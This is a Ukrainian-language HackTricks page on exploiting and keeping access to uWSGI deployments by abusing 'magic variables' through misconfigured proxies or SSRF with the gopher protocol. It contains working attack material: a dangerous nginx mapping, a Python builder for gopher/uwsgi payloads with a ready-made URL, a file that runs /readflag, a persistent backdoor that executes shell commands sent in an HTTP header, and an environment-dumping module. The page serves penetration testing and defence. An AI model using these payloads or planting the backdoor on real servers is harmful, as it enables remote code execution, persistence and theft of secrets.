Трюки пост-експлуатації WSGI
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд WSGI
Web Server Gateway Interface (WSGI) — специфікація, що описує, як веб-сервер взаємодіє з веб-застосунками та як веб-застосунки можуть бути з’єднані в ланцюг для обробки одного запиту. uWSGI — один з найпопулярніших WSGI серверів, часто використовується для обслуговування Python веб-застосунків. Його нативний бінарний транспорт — протокол uwsgi (нижній регістр), який передає набір параметрів ключ/значення (“uwsgi params”) до бекенд-застосункового сервера.
Пов’язані сторінки, які варто переглянути:
SSRF (Server Side Request Forgery)
Експлуатація “magic variables” uWSGI
uWSGI надає спеціальні “magic variables”, які можуть змінювати спосіб, у який інстанс завантажує і маршрутизує застосунки. Ці змінні не є звичайними HTTP-хедерами — це параметри uwsgi, що передаються всередині запиту uwsgi/SCGI/FastCGI від зворотного проксі (nginx, Apache mod_proxy_uwsgi тощо) до бекенду uWSGI. Якщо конфігурація проксі відображає керовані користувачем дані у параметри uwsgi (наприклад через $arg_*, $http_* або неналежно відкриті ендпоінти, що працюють по протоколу uwsgi), нападники можуть встановлювати ці змінні й досягти виконання коду.
Небезпечні відображення в фронт-проксі (приклад nginx)
Неправильні конфігурації, як наведено нижче, безпосередньо відкривають доступ до “magic variables” uWSGI через вхідні дані користувача:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
Якщо додаток або функція upload дозволяє записувати файли в прогнозований шлях, поєднання цього з наведеними вище відображеннями зазвичай призводить до миттєвого RCE, коли бекенд завантажує файл/модуль, контрольований атакуючим.
Ключові експлуатовані змінні
UWSGI_FILE - Довільне завантаження/виконання файлу
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Завантажує та виконує довільний файл Python як WSGI-застосунок. Якщо зловмисник може контролювати цей параметр через uwsgi param bag, це може призвести до Remote Code Execution (RCE).
UWSGI_SCRIPT - Завантаження скрипта
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Завантажує вказаний скрипт як новий додаток. У поєднанні з можливістю завантаження файлів або запису це може призвести до RCE.
UWSGI_MODULE and UWSGI_CALLABLE - Динамічне завантаження модулів
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Ці параметри дозволяють завантажувати довільні Python-модулі та викликати в них певні функції.
UWSGI_SETENV - Маніпулювання змінними середовища
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Може використовуватися для зміни змінних середовища, що потенційно впливає на поведінку застосунку або призводить до завантаження шкідливої конфігурації.
UWSGI_PYHOME - Маніпулювання середовищем Python
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Змінює віртуальне середовище Python, що потенційно може призвести до завантаження шкідливих пакетів або інших інтерпретаторів Python.
UWSGI_CHDIR - Зміна директорії
uwsgi_param UWSGI_CHDIR /etc/;
Змінює робочий каталог перед обробкою запитів і може комбінуватися з іншими функціями.
SSRF + uwsgi protocol (gopher) pivot
Модель загроз
Якщо цільовий веб-додаток надає SSRF-примітив і екземпляр uWSGI слухає на внутрішньому TCP-сокеті (наприклад, socket = 127.0.0.1:3031), ви можете передавати сирий uwsgi-протокол через gopher і інжектувати uWSGI маґічні змінні.
Це можливо, оскільки багато розгортань використовують внутрішній не-HTTP uwsgi-сокет; зворотний проксі (nginx/Apache) переводить клієнтський HTTP у набір параметрів uwsgi. За допомогою SSRF+gopher ви можете безпосередньо сформувати uwsgi бінарний пакет і встановити небезпечні змінні, такі як UWSGI_FILE.
uWSGI protocol structure (швидкий довідник)
- Заголовок (4 байти):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - Тіло: послідовність
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
Для стандартних запитів modifier1 дорівнює 0. Тіло містить uwsgi параметри, такі як SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE тощо. Див. офіційну специфікацію протоколу для повних деталей.
Мінімальний побудовник пакетів (generate gopher payload)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Приклад використання для примусового завантаження файлу, раніше записаного на сервері:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
Надішліть згенерований URL через SSRF sink.
Приклад
Якщо ви можете записати python-файл на диск (розширення не має значення) з кодом, наприклад:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
Згенеруйте та запустіть gopher payload, що встановлює UWSGI_FILE на цей шлях. Бекенд імпортує та виконає його як WSGI app.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Завантажте його за допомогою UWSGI_FILE і отримайте до нього доступ за обраним SCRIPT_NAME.
Персистентність на основі середовища
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. Розкриття інформації
Вивантаження змінних середовища
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Доступ до файлової системи
Комбінуйте UWSGI_CHDIR з допоміжним модулем для роздачі файлів, щоб переглядати чутливі директорії.
3. Privilege Escalation ідеї
- Якщо uWSGI працює з підвищеними привілеями і записує sockets/pids, що належать root, зловживання env і змінами директорій може дозволити вам створювати файли з привілейованими власниками або маніпулювати станом виконання.
- Перезапис конфігурації через environment (
UWSGI_*) у файлі, завантаженому черезUWSGI_FILE, може вплинути на модель процесів та workers, щоб зробити persistence більш прихованою.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Reverse-proxy desync issues relevant to uWSGI chains (recent)
Деплойменти, що використовують Apache httpd з mod_proxy_uwsgi, стикалися з недавніми response-splitting/desynchronization bugs, які можуть впливати на шар трансляції frontend↔backend:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when
mod_proxy_uwsgiis in use. Upgrading Apache to ≥2.4.56 mitigates the issue. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”
Це безпосередньо не дає RCE в uWSGI, але в окремих випадках їх можна поєднати з header injection або SSRF, щоб pivot towards the uwsgi backend. Під час тестування визначайте fingerprint проксі та версію і розглядайте desync/smuggling primitives як можливий вхід до backend-only routes і sockets.
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

